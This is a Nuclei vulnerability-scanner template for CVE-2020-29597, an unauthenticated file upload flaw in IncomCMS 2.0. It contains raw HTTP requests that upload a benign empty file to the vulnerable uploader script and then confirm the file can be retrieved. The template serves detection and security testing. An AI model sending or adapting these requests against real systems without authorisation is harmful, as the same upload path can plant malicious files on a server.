nuclei-templates/cves/2020/CVE-2020-29597.yaml

id: CVE-2020-29597
info:
  name: IncomCMS 2.0 - Arbitrary File Upload
  author: princechaddha
  severity: critical
  description: |
    IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
  reference:
    - https://github.com/Trhackno/CVE-2020-29597
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29597
    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
    - https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29597
    cwe-id: CWE-434
  metadata:
    verified: "true"
  tags: cve,cve2020,incomcms,fileupload,intrusive

requests:
  - raw:
      - |
        POST /incom/modules/uploader/showcase/script.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt

        ------WebKitFormBoundaryBEJZt0IK73M2mAbt
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.png"
        Content-Type: image/png


        ------WebKitFormBoundaryBEJZt0IK73M2mAbt--
      - |
        GET /upload/userfiles/image/{{randstr}}.png HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, '\"name\":\"{{randstr}}.png\"')
          - status_code_2 == 200
        condition: and

# Enhanced by CS 06/06/2022